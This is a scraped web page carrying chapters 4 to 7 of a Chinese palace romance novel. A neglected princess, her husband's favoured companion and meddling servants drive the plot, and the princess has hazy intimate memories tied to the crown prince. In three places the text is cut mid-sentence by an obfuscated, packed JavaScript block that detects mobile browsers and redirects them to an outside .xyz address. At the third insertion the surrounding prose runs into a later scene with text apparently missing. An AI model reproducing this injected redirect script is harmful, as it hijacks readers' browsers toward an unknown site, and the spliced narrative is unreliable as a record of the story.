沈玉姝心间猛然一颤,这声音平白来有些熟悉,陌生凌乱的记忆从脑中飞闪而过,陌生紧扣的十指死压在她耳边,轻而易举夺去她所有的呼吸。 “呼吸。”陌生的声音淡笑道。 她呼吸顿住。 那记忆……是什么? 她腰间一软,颤着指尖扶住身后矮柜。 那是她的记忆吗? 还是婚前看那些卵子八糟的话本子看入了魔? 沈玉姝颤抖着手贴上潮红的脸。 真是要疯了。她心说。 4. 第 4 章 凤仪宫里只剩低低的交谈声,沈玉姝听着声音,一时脚软险些跌坐在地,身旁侍女连忙上来支起她问:“娘娘可是身子不适?” 连屏风外的皇后和太子都止了交谈往这边看来。 沈玉姝哪敢此时多说,她心里只像住了只挠心的狐狸,让她又羞又怕。 这要真是让人知道自己在想什么,那她真真不要见人了。 她勉强打起精神,对女官笑了一下说道:“是有些不舒服,还请姑娘与娘娘说一声,午膳就先谢过娘娘好意了,过几日我再上门与娘娘赔罪。” 沈玉姝说完便从袖中取出一把金瓜子送到女官手上,匆匆告了罪,又谢绝了各宫人陪同的好意,快步往来时的宫道上去了。 冬月的寒风适时的缓解了沈玉姝面上的红潮,发热的头昏也在兵荒马乱里得到了片刻的消停。 宫道上四下无人,沈玉姝有些疲软的塌下肩膀。 深觉自己莫约是昏了头了,竟会因为莫名来的画面在凤仪宫如此失态。 她深吸了一口气,把冰凉的手背贴在面上,似乎还能感受到适才的余温。 匀了温度,沈玉姝又把手揣进怀中细细温着,她放慢了步子,一点点理清当下的事。 事实上,即便是没有那段记忆,她在凤仪宫也坐不下去了。 ——适才宫中丫鬟打量的视线,直到现在都恍若犹存。 她心底突然有一些怪异的疑问,不知道尚琢为何这么做。 如果只是出于对自己的不喜的话,那他何故把事情摆在皇后娘娘和满宫宫人面前?这样也让他自己立于一个尴尬处境了才是。 沈玉姝眉宇间隐隐有些愁意。 可说到底……夫妻间是一生的关系。 “小姐你怎么自己回来了?” 沈玉姝正晃神,一道声音唤回了沈玉姝的思绪。 她下意识的抬起头,发觉已经到了止马碑旁。 “临时出了点事。”沈玉姝随口应道,她虚搭着秋兰伸来的手,弯着腰上了檐:“回府吧。” “是。”外面轿夫应道。 沈玉姝适才坐下,感受到檐子一阵不甚明显的晃动,晃出了一线睡意。 她困意上涌,头小幅度一点一点的,缩在角落里睡了过去。 ********** 尚琢早便回了府,一路快步入了竹园,顺手解下身上披风递与丫鬟,边问道:“太医可看过了?” 丫鬟道:“都看了,太医说将养便是,留了一些目眩的遗症,过几日便能好些。” 尚琢颔首,跨入中堂。 因女人喜欢阔野,所以整个屋子并未使用隔断。 故此尚琢瞥眼便望见半坐在床上翻着书的女人。 女人生的清新淡雅,一双眼睛水盈盈的,总像汪着泪般惹人怜惜,此时她身着素衣,未着钗发,瞧着便更生几分怜意。 尚琢心中更软。 感受到男人的目光,女人抬起头来,瞧见到尚琢时眼泪便倏然落下,抖着肩膀侧过身不愿瞧他。 尚琢叹声坐到女人身边,唤了一声:“纯儿。” 闻言,何之纯眼泪落的更厉害些,却是压着哽意,轻轻说道:“王爷今日该是回宫的,怎么回这般早?” 瞧见她的全然为自己着想的模样,尚琢心中软了一片:“听说你醒了,便赶回来了。” 他又道:“身子还好?” “没有大碍了。”何之纯敛下眼,又小心去觑尚琢,软着嗓子说,“王爷来陪我……王妃恐要生气了。” 尚琢一向便喜欢何之纯的纯善,即便是如今沈玉姝占了该是她的位置,却依旧顾着沈玉姝的心情。 思及此,尚琢一张刀削锐利的面上也软下,带着几分情意,轻轻环住何之纯的肩膀:“这些事你不必在意,过几日带你去游湖,松快些心情。” 尚琢因为何之纯先前因自己成亲,赌气跑到乡下庄子上、不肯见自己的怒气尽数散了,只剩下满腔温情。 听他此言,何之纯有些纠结,一双水眸小可怜见瞧着尚琢,半晌轻轻叹了口气:“那……便谢谢王爷了。” 尚琢勾起一点不明显的笑,便陪着何之纯躺下,哄着她睡。 何之纯惯是怕一个人,像一只敏感温顺的狸奴,尚琢也惯喜欢来。 “睡吧。”尚琢淡道。 ********** 沈玉姝睡得迷迷糊糊好像梦着了尚琢,刚不过片刻便吓醒了去。 她缩在角落里揉了揉太阳穴,心说这会子真是冤家了,梦里见着了竟好似做了噩梦般。 沈玉姝舒了口气,头疼的感觉散了不少。 大抵是在凤仪宫里发了点汗,退了热。 适才睡了会有些闷,此时面上便臊的慌。 沈玉姝轻轻扇着手给面上降温来,一面透过帷裳瞥着外面。 她目光一凝,确见到一家书肆。 大抵是新开的,装修用度皆巧思。 日后可以去瞧瞧。沈玉姝心说。 她这么东瞧西看了半路,远远见到恭王府的门时便心生退意。 心里有些发闷。 沈玉姝敛着眼,瞧着腕子上的镯子,仔细去想如果是娘亲遇到这事,她会怎么做。 檐子稳稳当当落在恭王府外,一点颠簸后,秋兰清脆的声音传来:“小姐,到了。” ——没想出来。 她对娘亲的印象太模糊了,只依稀记得一点声音。 沈玉姝叹了口气,起身下了檐。 也许,她应该先知道纯小姐到底是谁。 沈玉姝有些苦恼的想。 沈玉姝带着秋兰往主院去,过垂花门时却听一旁传来一道清越的声音:“你们还不知道吧,今日回宫,王爷一老早就跑回来陪纯小姐了。” 另一道声音笑道:“我姊妹也在竹园当差,一早就和我说了,说今日纯小姐一生病,满宫太医都来了,而且就连下人分例,竹园都要比主院的多一半儿呢!” “那是自然!你们是不知道,今儿个王爷本来不想回宫的,就想陪纯小姐,人都撵去宫里头传信!!结果那位不乐意,发了脾气,还拿陛下威胁王爷,王爷这才不得不去的!” “天呢,那不成母夜叉了,可真是够丢人的……府里这些事,连外头卖菜的李婶都知道了,要我说啊,其实主院的差事也不错,王爷在竹园,眼里只有纯小姐一人,这要是到了主院……那可就说不准了。” 说完里面就笑作一团。 沈玉姝冷着脸未执一词,从昨日大婚开始,她就知道迟早会有这么一遭。 秋兰向来是个不肯让沈玉姝吃亏的,听罢便大声道:“哪来的小蹄子,胆敢在背后妄议主子!” 里头丫鬟吓了一跳,连忙噤声跑出来跪了一排。 沈玉姝瞧着为首那人,正是昨夜跑来传信的丫鬟。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828252|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么名字。”沈玉姝睨她道。 “紫莺。”紫莺仰着下巴说道。 她是纯小姐贴身伺候的几人之一,就算王爷知道了自己编排他,王爷难道还会因为一个不受宠的王妃罚自己不成? 想到这里,她背脊倒是更挺了几分,脆生生道:“不知奴婢做错了什么,惹得王妃大动肝火?” 沈玉姝静静看着她,忽然勾了唇角。 她与尚琢之间的关系再如何差,她也是祭酒嫡女、圣上指婚的王妃,还轮不到一个丫鬟在这乱嚼舌根。 “既然你不知道你做了什么,那就请刘总管来论罪。”沈玉姝冷着脸,转与秋兰道,“去请刘总管来。” “是。”秋兰眼睛一转便知晓沈玉姝的意思,忙领命去了,不多时便带着刘总管过来了。 刘总管全名刘柱,是尚琢身边的老人。 “小的给王妃请安。”刘柱堆着满脸笑意,笑得像个弥勒佛,行了个周到的礼,“不知王妃唤小的,可是有什么事?” 沈玉姝收回了思绪,对刘柱微微颔首,道:“不知府中规矩,对待背后嚼主子舌根的下人,如何做罚?” 刘柱是个人精,一听便知其内情,他的视线在紫莺身上划过,迟疑道:“这……” “算了,我突然不想知道了。”沈玉姝笑起来,露出一颗有些稚气的虎牙,“这三个罚俸三月,领头这个叫紫莺的,赶出去便是,以儆效尤。” “这恐怕……” “怎么?本王妃没有罚下人权力?”沈玉姝挑起眉。 “自然不是。”刘柱忙道,“兹事体大,毕竟都是王爷使唤惯的下人,小的……还是请示王爷为好。” “王爷若是不愿,让他来寻我就是。”沈玉姝说完便带着秋兰转身离去,丝毫不给刘柱辩驳的意思。 见到沈玉姝强硬的态度,紫莺这时候才突然有些怕了,她睁着一双眸子害怕的瞧着刘柱,怯生生的喊:“总管,我不会真的要被赶出去吧……” 刘柱恨恨瞧着她:“现在知道怕,适才做什么去了,王爷若是肯保你,才算你一条生路。” ********** 尚琢在竹园陪着何之纯睡下后便回了书房,近日太子查案回京,大批的卷宗往上报。 尚琢坐在圈背交椅上瞧着卷宗,忽然皱了眉:“来人。” 小厮答应一声:“王爷。” “去找刘柱来。”尚琢冷声道。 刘柱原也到了,正思忖进不进去,一听唤了自己便连忙答应,快步进去了:“王爷有什么吩咐。” 尚琢冷冷睨了他一眼:“太子回京,各家都送了礼,和沈氏说一声,别丢了恭王府的脸面。” “小的知晓,定会好生帮助王妃。”刘柱琢磨着尚琢心思,又试探道,“不过还有一事,小的……” 尚琢搁下卷宗,不耐的皱着眉:“说完。” “就是紫莺那丫头,今儿个得罪了王妃。”刘柱小心说道,“王妃有心处罚,王爷您看?” 沈玉姝? 倒是个不安分的。 尚琢冷眼转着手中扳指,淡淡掀起眼皮睨向刘柱:“纯儿身边的那个?” “正是正是,小的想着到底是纯小姐使唤惯的丫头,所以思来想去还是来问问您才是……”他的声音戛然而止。 尚琢将玉扳指“咔哒”放在桌上,发出一点清脆的响声。 “这点小事还要来问本王?” 5. 第 5 章 尚琢嗤笑出声,面色冷然:“刘柱,本王看你是失心疯了。” 下人欺压不得宠妃子的事在宫中常有,但尚琢向来不喜这等做派。 妃子再不得宠,也是皇帝的人,不过是一堆下等的丫鬟太监,皇家的事也轮得到他们置喙? “王爷、王爷……奴才该死奴才该死!” 做下人的最怕揣度错了主子心思,刘柱汗如雨下,连忙跪下扇了自己几个嘴巴,忙忙磕头求饶。 “还不滚出去。”尚琢冷眼戴上手上扳指,目光森冷。 试图踩在主子头上的丫鬟,赶出去已经是他最大的容忍了。 “是是是,多谢王爷多谢王爷。”得了饶,刘柱忙松了口气,弓着身快步出去了。 ********** 主院里熏着暖炭,是秋兰特地早前吩咐的。 沈玉姝着凉生了病,又外出一天浸了寒气,回来熏会炭是再好不过的事了。 沈玉姝将一踏进屋门,暖气便扑面进来。 也不知道是适才被气到了,还是别的什么,沈玉姝只觉得热得慌,再被暖炭一熏,整个人都热了起来。 沈玉姝坐到榻上,抬手扇了扇,发觉热意丝毫未散,便将褙子换下,换了轻便的常服。 “小姐,发发汗好退热。”秋兰接过她换下来的褙子劝道。 沈玉姝摇摇头,正色说:“比起退热,我会先因为太热晕倒。” 秋兰:“……” “我好饿,让厨房做些清淡的小菜来。”沈玉姝换下衣服,缩在榻里揉着肚子。 有些太饿过了,她肠胃有些不舒服。 秋兰答应一声:“欸。”便出去传厨房去了。 沈玉姝支起一点支摘窗,把屋里的暖气透出去一些,换些新鲜气进来,被熏的混沌的脑袋这才稍微清醒了一些。 她微微舒了口气,想起适才发生的事来。 她不是喜欢将事闹大的人,但她才来了恭王府,下人对她行事作风一概不清,况且…… 况且她与恭王关系不好,下人难免拜高踩低,今日她将事情大事化小,明日闹出更大的事了对她反倒不便。 沈玉姝微微敛下眼,揉了揉被热气熏的发酸的眼睛。 今日尚琢弃她回府之事只怕是京城上下都知晓了,还不知外头如何说法。 她在出嫁前,本也没期待与恭王举案齐眉,只盼望相敬如宾、二者相安无事的好。 可如今尚琢行径乖张,百姓自不敢说皇亲贵胄不好,只连累了她和家里。 想到这里,沈玉姝塌下了肩膀,按了按还在闹腾的肚子。 心说自己得做些什么了。 “小姐,饭菜来了。”秋兰一声唤回了沈玉姝的思绪。 因为过了晌午,厨子早便收拾了厨房,突然听闻王妃传饭,只来得及匆忙做一些简单的,所以秋兰只提了两个食盒便来了。 沈玉姝闻到饭菜的味道,眼睛倏然一亮,适才思绪的情绪便统统丢之脑后了,只从榻上咕噜坐起来快步走到桌边坐下,眼睛亮晶晶看着秋兰把菜摆好。 “都是一些简单的,厨子说小姐若是吃不惯,他再开火做。”秋兰一边摆菜,一边说道。 沈玉姝瞧着桌上,虽然简单,但荤素尽有了,便摇摇头:“挺好的,不用折腾了,再等做大菜上来,我就先饿晕了。”她说着拿起筷子,又与秋兰道,“一起吃点吧,你这两天陪着我到处跑也没怎么吃。” 秋兰是沈玉姝生母陪嫁丫鬟的家生子,二人关系素来亲厚,还在家中的时候也时常同吃同寝。 故此秋兰虽因在王府有些顾虑,但也纠结一下便答应声坐下了。 沈玉姝饿了两天,感觉眼前都在冒星星,此时饭菜一来,便斯斯文文的吃了大半碗饭,小小打了个嗝。 反正也没外人,多吃一点没人看得见。沈玉姝冷静说。 主仆二人正吃饭间,屋门被敲响来:“王妃您在里头吗?” 是刘柱。 秋兰连忙站起身走到沈玉姝身后,毕竟主仆同食私底下没事,但被外人瞧见了,难免要说主子不知礼了。 沈玉姝也跟放下筷子说了声“进”。 她不着痕迹的摁了摁肚子,吃得太快了,肚子没反应过来,还是饿。 沈玉姝苦着脸心说下次吃慢点。 “小的请王妃安。”刘柱恭敬行了礼,然后满脸堆笑的说,“那个不长眼的丫头已经着人带走了,刚才是奴才想差了,在这给王妃陪个不是。” 沈玉姝有些意外。 她原以为尚琢会与自己争吵一番。 沈玉姝转念一想。 不过也是,尚琢本就是皇子皇孙,哪能容许一个下人对自己阳奉阴违。 沈玉姝暂先放下了这个想法,礼貌的笑了声:“无事,刘主管待差事认真,我自敬重才是。” “王妃抬举奴才了。”刘柱陪笑两声,然后走上来,将手里的一本簿子放在沈玉姝面前,迎着沈玉姝疑惑的目光道,“这是府里库房登记在册的东西,昨儿个太子回京,王爷说让您……挑两件合适的送去。” 他没说尚琢的原话,稍加润色了些。 太子? 沈玉姝脑中瞬时浮现出凤仪宫中那道芝兰玉树的身影,还有那段莫名的记忆,只觉得耳后潮湿的热气好像又忽然攀上来了,整个人都烧了起来。 “王妃可是身子不适?”刘柱瞧着她面上的异样说道,“药房在东边,若是身子不适便让下人去抓点药,府里都常备着的。” 他说完又想起来什么,不轻不重打了个嘴巴陪笑:“您瞧奴才都忙忘了,忘记给王妃挑使唤的人,奴才待会回去就细细给您挑来。” “知道了,没什么事就先下去吧。”沈玉姝捂着一侧耳朵,飘着视线说。 刘柱答应一声,转身出去带上了门。 沈玉姝觉得自己有些疯了,总是时不时想起那事。 分明只是段莫须有的记忆才是。 沈玉姝嘟囔着揉揉耳朵,心说幸好不用亲自去东宫献礼,否则以她这个不争气的模样,还不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828253|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道闹什么笑话来。 她回过神来叹谓一声,转而想起尚琢的事,若有所思的吃了口菜。 如今看尚琢行事,并非是个十分乖戾无脑之人,那她原想的相敬如宾的相处,倒是多了几分可能。 沈玉姝托着腮心想,她确得做一些事缓和二人之间的关系了,以免官场上连累了家里 ********** 竹园里,何之纯没睡多久便醒了。 她原也不困,不过是尚琢陪着哄着,也就睡上一会罢了。 她起身下床,坐到妆镜前。 透过银白的镜面①,只瞧见里头女人过分苍白的面色,但睡久的缘故,眼皮有些泛粉,相衬又显得我见犹怜。 何之纯轻轻将手放在面庞,食指尖点在眼尾,微微勾起一个笑。 她从一个庶女位置走到现在,最大的本钱就是这张脸。 纵然那沈氏生的貌美,那又如何? 她每一绺发丝、每一句言语都是她对着尚琢自小的喜好生的,分毫都是尚琢喜欢的模样。 他喜欢自己这张脸,从那时候开始就是。 何之纯惫懒的笑了声,卷起一簇头发摆弄着,懒懒道:“紫莺。” 外头没有回应。 何之纯微微蹙眉,又唤了两声。 真是不知礼数。 “纯小姐。”一个眼生的丫鬟走了进来,应道。 “紫莺呢?”何之纯问。 紫莺手巧,向来知道如何放大她的优势。 丫鬟支支吾吾的说:“紫、紫莺……她……” 何之纯烦闷的闭了闭眼,却还是微笑温声道:“不用紧张,是在休息吗?” 丫鬟被何之纯温柔的声线安抚了,舒了口气说:“王妃把她赶出去了。” 什么! 何之纯手骤然攥紧,长长的指甲陷进肉里。 紫莺是她身边得力的丫鬟,刘柱清楚的很,他跟个人精似的,更不可能就顺着那不得宠的沈氏做了这个主,定然会去问尚琢的意思。 何之纯略眯了眼,勉强弯出了一点笑意:“知道了,辛苦你了,麻烦帮我把门关上。” 小丫鬟应了一声,松口气关了门。 待屋里静下,何之纯冷眼瞧着面前镜子里的自己。 她与尚琢幼时便认识,他是什么人自己再清楚不过。 无外乎是因为沈玉姝打了他的烙印,觉得自己被下等的丫鬟冒犯了而已。 可即便是这样…… 她也不能容忍尚琢在任何一个方面,将沈玉姝置于自己头上。 她如履薄冰了这么多年,任何一点的偏差都是她不能容许的。 何之纯掌心被指甲浸出一点血色。 她站起身,一步一步走到门边,轻轻呼出一口气,调整出一个温和的面色,然后拉开门:“辛苦你帮我去书房与殿下传个话好吗?” “就说……我想他了。” 她就是要告诉这满京上下,尚琢的心究竟在谁那、她沈氏又是个什么东西! 6. 第 6 章[修] 尚珏 凤仪宫里,女官送了太子后气氛便一直低低的。 皇后阖着眼假寐,瞧不出个心思。 女官用眼神挥退了一干下人后走到皇后身边,指腹轻柔的覆上她的额角,力道不轻不重地按捏起来。 忽然一道嘈杂的声音从外传来,引得皇后无声的睁开眼。 “白芷,去看看。” 女官,白芷答应一声,松了手上的力道,出去瞧了瞧走进来附身道:“是丽妃娘娘,应该是为了恭王殿下来的。” 皇后凉凉扯起唇角:“本宫还没找她,她倒是先来了。” 她起身让白芷寻来件青蛤色褂子穿上,再端坐在塌边,轻轻颔首:“请进来。” “欸。”白芷福身,出去引了丽妃进来。 皇后慢条斯理的呷了口热茶,将一抬眼,就见到着急忙慌跑进来的丽妃。 她心里冷笑一声,还真是为了儿子什么都不顾了。 皇后淡淡放下茶盏,一双温柔的眸子没什么情绪的落在丽妃身上。 她生的当真是温柔,眼眸如水、唇瓣似花,但就是这样温和的模样,硬生生遏住了丽妃的步子。 丽妃攥着手,强迫自己镇静下来,行了个周到的礼:“臣妾请皇后娘娘安。” 皇后这才不紧不慢的开了口:“慌慌张张的,成何体统。” 丽妃抿了抿唇,本想同往日般坐下,但今日皇后瞧着心情不爽,也未曾开口赐坐,纠结半晌还是老实站着。 人人都道皇后娘娘温柔,她这么多年却依旧没由来有些害怕。 她思忖再三,犹豫开了口:“娘娘,听说琢儿先回去了……” “嗯。”皇后不咸不淡应了声。 “肯定是那个狐媚胚子!”丽妃恨恨咬牙。 好不容易费尽心思把何之纯送到乡下庄子上,就怕影响尚琢大婚! 结果那个贱人,竟然不知使了什么手段又跑了回来! 皇后淡淡放下茶盏:“丽妃,慎言。” “可是……”丽妃刚起了个话头,不知想到了什么,攥着手把话头咽下去了。 “琢儿喜欢,你有什么办法?”皇后道。 “话是这么说,可是臣妾这个做母妃的也不能眼睁睁看着儿子围着那么个心机的转啊。”丽妃恨声道,“别的人臣妾也就认了,可那何之纯自小就不是什么安分的!” 皇后颔首:“所以这就要看沈玉姝本事如何了。”她轻轻弯起唇,“白芷。” “奴婢在。”白芷道。 “明儿个恭王妃回门,从本宫私库里头挑些首饰摆件去,本宫大婚时打的那套东珠首饰也一并着人送去。”皇后淡道。 白芷:“是。” 丽妃了然笑了,也添了添头一并送去。 ********** 近日太子回京,一桩杭州贪污案拉了大批官员落马,尚琢手里得力的人被砍了好几个,一干幕僚急得团团转。 尚琢看着案几上的传信,面色阴沉。 皇帝子嗣不丰,大皇子宁王早年废了一条腿,早早领了封号去了封地,下面几个年纪还小、不成气候,只有太子和他党羽稍丰。 尚琢不虞的敲打着圈背交椅的扶手,实木的材质发出一点沉闷的声音。 好一出借刀杀人,太子倒是好手段。尚琢冷笑一声。 房门被敲响,尚琢不耐的抬起眼:“进。” 跟前伺候的公公苏进哈着腰进来道:“王爷,王妃和纯小姐的丫鬟来了。” “话留下,人出去。”尚琢冷着脸说。 他此刻没耐心见人。 苏进“欸”了声,出去问了过后又回来道:“皇后娘娘的赏赐来了,王妃让您去接恩典呢。” 尚琢嗤笑。 皇后惯来喜欢用绵软的手段施压,如今就在威胁他明儿个陪沈玉姝回门。 “纯儿呢。”尚琢掠过沈玉姝的话,继而问。 苏进舌头打了个结,笑着说:“纯小姐说想您了。” 尚琢面上带了一点笑。 他与何之纯先前关系一直差一口气、捅不破最后那层窗户纸,如今来了个沈玉姝,她对自己倒是越发依赖起来了。 尚琢喜欢这种感觉,先前因为太子带来的阴翳也一扫而空。 他淡道:“和沈氏说本王知道了,明日自会陪她回门。” 即便没有皇后施压,如今太子一党逼得紧,当下关口后宅若是不宁,难免有损他在父王面前的形象,这个门,就算皇后不说,他自然也是会回的。 苏进应了,心里替王妃惋惜。 那么温柔漂亮的人,只可惜…… 尚琢继而道:“去竹园。” “是。”苏进恭敬应道。 主子家的事,哪里是他们做下人的能插手的。 竹园。 冬月的天比往常暗的要快不少,此时不过酉正,竹园已经掌了灯,隐隐透出一点饭菜香。 就好像有一个人一直在家中等着自己,安定而温馨。 尚琢自知晓三个党羽落马后,紧绷了一日的神立刻就松快了。 他嘴角带了一点不易觉察的罕见笑意,一把撩起袍子跨过了屋子门槛,一眼便见到了靠在软榻上小憩的何之纯。 尚琢看着心软,缓步走到她的身边。 何之纯却是听见了,缓缓睁了眼,露出有些意外的神色:“王爷。” 她轻轻唤了声。 “吵醒你了?”尚琢在她身边坐下。 何之纯轻轻摇摇头:“倒是我怠慢了殿下,院子里下人也不知晓来通传一声。” 她隐晦的暗示紫莺的事,她知晓尚琢不喜别人置喙自己的决定,更知晓尚琢喜欢她的娴静温和,便只恰到好处地轻轻一言、也不多提,反倒更能激起尚琢对她的怜惜。 尚琢淡笑一声:“是本王让他们不必通传的。” 他牵着何之纯的腕子走到桌边坐下,温声问:“用膳了吗?” “等殿下呢。”何之纯抿着唇笑,边说着让下人上来早温好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音落下,他抬起头看见尚珏似笑非笑的面色。 完了,说多了。下官嘎巴一哽。 尚珏却像是心情好,挥挥手:“出去吧。”他指腹在手中那块布料上捻了一捻,轻笑一声,“那个被罚的下人,交给你处理了。” 下官舒了口气,应了一声,恭敬行过礼出去了。 尚珏坐在圈背交椅上,瞧着手中那块小小的玉红色布料,面色晦暗。 小东西前儿个夜里还勾人得紧,一双腿恨不得缠在他身上,翌日就跑不见了影。 他捻着那块玉红色的小布,缠在掌心嗅了一气。 淡淡的奶香味裹尽了鼻尖。 尚珏咬着牙轻笑一声,目光幽幽。 不乖的小东西,要罚。 7. 第 7 章 沈玉姝翌日起来便唤来玉兰去随着刘柱清点回门礼,吃过饭、梳妆毕便去了前院。 玉兰便是刘柱送来的丫鬟,主管府内大小事务,正合适如今沈玉姝熟悉恭王府。 此时尚琢已经到了。 见她来,便投来了一个不耐的眼神,似是在责怪她来得晚。 沈玉姝淡淡移开目光。 莫名其妙。 回门礼皆是按制备的,沈玉姝更不愿与尚琢一道,二人便分坐了两头往沈府去了。 沈府坐落在北街,是早年沈父晋升祭酒时御赐的宅子。 因着今日沈玉姝回门,所以几人一早就在门口候着。 沈经汇是怀氏进门后几年才生的儿子,年纪小,如今不过六岁之数,在门口等了一会便不耐烦。 他踹着脚底的石头不满道:“我不想来。” 怀氏温声道:“恭王殿下要来,你若是不在可是要被惩罚的。” 沈经汇撇撇嘴,毫不在意道:“大家都说恭王殿下根本不喜欢长姐,他才不会来,我也不想看他,有什么好看的。” 不就是两个眼睛一张嘴。 “胡言乱语!”沈父低呵骂着,手中高高扬起,巴掌就欲落下。 “老爷!”怀氏忙拉住沈父的动作,低声道,“这是在外头!这么多人看着呢!” 沈经汇脖子一缩,躲到怀氏身后去了,做了个鬼脸。 沈父一倒气,险些没上来。 就在此时,一个小厮从街口匆忙跑进来:“来了来了!” 沈父和怀氏面色一喜,赶忙互理了衣裳,让奶娘带着沈经汇。 马车自巷口咕噜噜驶来,稳稳停在沈府门前。 沈玉姝自马车上下来,看见面前对尚琢小心翼翼的父亲,眼睛便是一酸。 她是沈父带大的,何时见他这般卑躬屈膝的模样,两道都因尚琢而起。 她与尚琢并身而立,中间隔了半人宽,一道行礼。 “父亲。” “岳丈大人。” 沈父拭过眼泪,连说几声好,仔细瞧了瞧沈玉姝,眼睛又是一红,再引着二人往堂屋去了。 沈父恭敬引着尚琢在客座落座,状似随意的攀谈起来,尚琢应的也还算得体。 沈玉姝见这边还算顺利,便安心与怀氏去了一侧耳房。 行过游廊,怀氏忽然笑着问她:“昨儿个进宫,皇后娘娘待你如何?” 沈玉姝愣了一愣,她原以为怀氏会问恭王府的。 她道:“皇后娘娘很好,待我也很好。” 怀氏笑了笑:“那就好。” 说着她便推开了耳房的门,带着沈玉姝往罗汉床坐下。 上头早便沏好了沈玉姝爱喝的牛乳茶。 沈玉姝捧着茶杯,一时有些无话。 怀氏是在她六岁那年入的府,她幼时顽劣,许多父亲无暇注意到的小事,都是怀氏细心照料的。 待怀氏,她心里是喜欢的,只是随着年岁渐长,二人关系便多少不如幼时亲厚。 怀氏似乎是有些犹豫,思索了一番才开了口:“你到恭王府两日,可有见过太子?” 沈玉姝下意识想起凤仪宫中那道芝兰玉树的身影。 她咬着唇摇摇头:“没见过。” “那就奇了。”怀氏拧着眉,有些迟疑。 “怎么了?”沈玉姝问。 “昨日太子派人来送了礼……”怀氏面上疑惑之意尽显,显然不解其中之意,“说是新婚贺礼。” 沈父因着职位特殊,在朝中向来不站队,太子何故与她送礼? 况且太子的兄弟成婚,哪有给女方送礼的道理。 而且…… 沈玉姝歪着脑袋,想起昨夜里睡前刘柱送来的大婚礼单。 太子的礼……应该不在上面才是? 沈玉姝面色不解:“既然送都送了,留着便是。” 她顿了一顿:“别弄坏了。” 怀氏笑了笑:“这是自然的。”她瞧着沈玉姝有些不好的面色,叹了口气,“到恭王府怎么才这么两天,脸色差了这么多。” “昨儿个发了点热。”沈玉姝无心让家中担心,便随意笑道,“今晨大夫来瞧了,已经退热了。” “那就好。”怀氏道,“若是呆着不宽心,便常回家来。” 嫁出去的女儿哪有常回娘家的道理,更何况还是嫁进了皇家。 沈玉姝眼睛一酸,乖巧点了点头。 二人正说着,沈玉姝便听见一旁堂屋原本絮絮交谈的声音停了下来。 她眉心微蹙,便止了与怀氏的动作推开屋门走了出去。 一出去便见到尚琢往外走的步子。 沈玉姝瞥了一眼香漏,还未近午时。 “王爷要走了吗?”沈玉姝走上去拦住尚琢的步子,扬着脸问道。 尚琢颔首:“府中有事。” 昨日答应纯儿,今日会陪她去游湖。 沈玉姝皮笑肉不笑的扯着嘴角。 还能有什么事,无外乎是那个纯小姐。 她丢不起“回门之日,夫君弃而回府陪外室”的这个人。 沈玉姝走进了几步,外人瞧着只觉得是亲密的举措。 尚琢皱着眉,下意识要退后。 “别动啊。”沈玉姝攥着他的手腕,低声道,“不是要走吗?” 她声音甜,语气却算不上好。 沈玉姝拉着他重新回了堂屋,行了大礼。 沈父原以为尚琢自个走了,心中难免又是为女儿难过,如今见二人一并回来,才算是舒了一口气。 “父亲,府中还有事,我们就先走了,你们在家仔细着些身体。”沈玉姝笑说着,露出一颗不甚明显的小虎牙。 “好好,路上注意着些。”沈父叹声说着,便和怀氏出来一起送罢二人至府门前。 临了分头上车前,沈玉姝扯住尚琢的袖子,笑盈盈说着:“王爷以后突然想做什么事,劳烦与我说一声,我丢脸了,你也落不着好。” 她说完便径直上了车,眼神也不分给后头的尚琢。 心烦。 尚琢愣了愣,显然没想到她会说出这话,眉头瞬间便皱了下来,紧紧抿着唇,面色不爽的转身上了自己的马车。 秋兰早温了茶在车里等着了,见沈玉姝来,连忙扶着坐下。 “小姐,回府吗?”她问。 沈玉姝原想点头,却忽然一顿,想起上次从宫中出来回恭王府的时候,路上瞥见的那家新开的书肆。 她话头在口中打了个弯道:“去乌南街。” 她边说着,边从匣子里寻出一块帕子,细细擦着适才碰过尚珏手腕的手指。 秋兰虽不解,但也答应一声,扬声吩咐了车夫:“乌南街!” 车夫得了话,缰绳一拽,车便悠悠往前去了。 ********** 车停在乌南街巷口,因着不晓沈玉姝的意思,便没再往前去了。 “王妃,咱们往哪家去?”外头车夫问了声。 “就到这。”沈玉姝翻出帷帽,戴在头上,匆匆握了握秋兰的手,“在车上等我就好。” 说完也不理秋兰的挽留,径直下了车,往街上走去。 直到下了车,她才觉得松快了些。 自从嫁入恭王府,桩桩件件都让她不舒坦,呼吸都好似止住了一般。 书肆在街道里头,稍有些远。 沈玉姝也不急着去,便慢悠悠走着,路上一颗小石子都要走过去瞧一瞧、踹一踹。 一脚踹到了书肆门前。 鼻前萦绕着一股淡淡的清漆味 